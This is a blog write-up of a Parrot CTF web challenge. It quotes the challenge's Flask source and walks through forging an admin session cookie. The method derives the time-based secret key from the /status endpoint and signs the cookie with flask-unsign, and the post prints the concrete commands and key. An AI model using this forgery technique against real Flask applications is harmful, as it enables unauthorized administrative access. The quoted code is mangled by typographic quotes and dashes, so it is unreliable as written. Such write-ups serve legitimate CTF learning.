537 words
3 minutes
Parrot CTF Web Event Write-Up

In this Parrot CTF event, our objective was to log in and retrieve a flag from the admin page.

Initial Access#

this is the url of admin page [http://chal.competitivecyber.club:9999/admin](http://chal.competitivecyber.club:9999/admin`) if you open this link you will get an 404 error message like this :

{"error":{"code":401,"message":"There is an error"}}

so what’s now?

This challenge provided us with the code for the site, allowing us to analyze it for potential vulnerabilities. Below is the relevant code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime(‘%Y%m%d%H%M%S’)
secure_key = hashlib.sha256(f’secret_key_{server_start_str}’.encode()).hexdigest()
app.secret_key = secure_key
app.config[‘PERMANENT_SESSION_LIFETIME’] = timedelta(seconds=300)
flag = os.environ.get(‘FLAG’, “flag{this_is_a_fake_flag}”)
secret = uuid.UUID(‘31333337–1337–1337–1337–133713371337’)
def is_safe_username(username):
“””Check if the username is alphanumeric and less than 20 characters.”””
return username.isalnum() and len(username) < 20
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/’, methods=[‘GET’, ‘POST’])
def main():
“””Handle the main page where the user submits their username.”””
if request.method == ‘GET’:
return render_template(‘index.html’)
elif request.method == ‘POST’:
username = request.values[‘username’]
password = request.values[‘password’]
if not is_safe_username(username):
return render_template(‘index.html’, error=’Invalid username’)
if not password:
return render_template(‘index.html’, error=’Invalid password’)
if username.lower().startswith(‘admin’):
return render_template(‘index.html’, error=’Don\’t try to impersonate administrator!’)
if not username or not password:
return render_template(‘index.html’, error=’Invalid username or password’)
uid = uuid.uuid5(secret, username)
session[‘username’] = username
session[‘uid’] = str(uid)
return redirect(f’/user/{uid}’)
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/user/’)
def user_page(uid):
“””Display the user’s session page based on their UUID.”””
try:
uid = uuid.UUID(uid)
except ValueError:
abort(404)
session[‘is_admin’] = False
return ‘Welcome Guest! Sadly, you are not admin and cannot view the flag.’
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/admin’)
def admin_page():
“””Display the admin page if the user is an admin.”””
if session.get(‘is_admin’) and uuid.uuid5(secret, ‘administrator’) and session.get(‘username’) == ‘administrator’:
return flag
else:
abort(401)
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/status’)
def status():
current_time = datetime.now()
uptime = current_time — server_start_time
formatted_uptime = str(uptime).split(‘.’)[0]
formatted_current_time = current_time.strftime(‘%Y-%m-%d %H:%M:%S’)
status_content = f”””Server uptime: {formatted_uptime}
Server time: {formatted_current_time}
“””
return status_content
if __name__ == ‘__main__’:
app.run(“0.0.0.0”, port=9999)

Exploit Analysis#

To access the /admin page you should have a forge cookie (fake cookie) or a special cookie to access the page else you will get 401 error.

if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)

To make a forge cookie we need 2 things uuid and secret.

  1. UUID: by this script we can get UUID.
import uuid
# this is provided in code.
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
print(secret)
  1. secret key : This Python script can generate the secret key.
import hashlib
import uuid
secure_key = hashlib.sha256(f'secret_key_20240922172016'.encode()).hexdigest()
print(secure_key)

Note: The secret_key is time-based and only valid for 5 minutes. To generate a valid secret_key, we need to adjust the timestamp (20240922172016).

go to

http://chal.competitivecyber.club:9999/status so to do it we have to subtract server uptimeserver time ex: if Server uptime: 0:07:29 Server time: 2024–09–23 06:18:10 so 06:18:10–0:07:29 = 06:10:41 and add date as well in starting. 2024–09–2306:10:41 = 20240923061041 by it you will get the secret key .

To create a valid cookie, we will use the flask-unsign tool:

flask-unsign --sign --cookie "{'is_admin': True, 'uid': '02ec19dc-bb01-5942-a640-7099cda78081', 'username': 'administrator'}" --secret 'a45bb96b977c34872488db6f2a041a7633a849871fc06432d70fbfba4aa30328'

Replace — secret with the secret key you generated.

Replace UID with the UID you generated.

Final Step

Now go to [http://chal.competitivecyber.club:9999/admin](http://chal.competitivecyber.club:9999/admin`) and change the cookie you created .

boom you get the flag.#

image


This post was originally published on Medium. Imported 2024-09-23.

Parrot CTF Web Event Write-Up
https://blogs.hacck3y.me/posts/parrot-ctf-web-event-write-up/
Author
hacck3y
Published at
2024-09-23
License
CC BY-NC-SA 4.0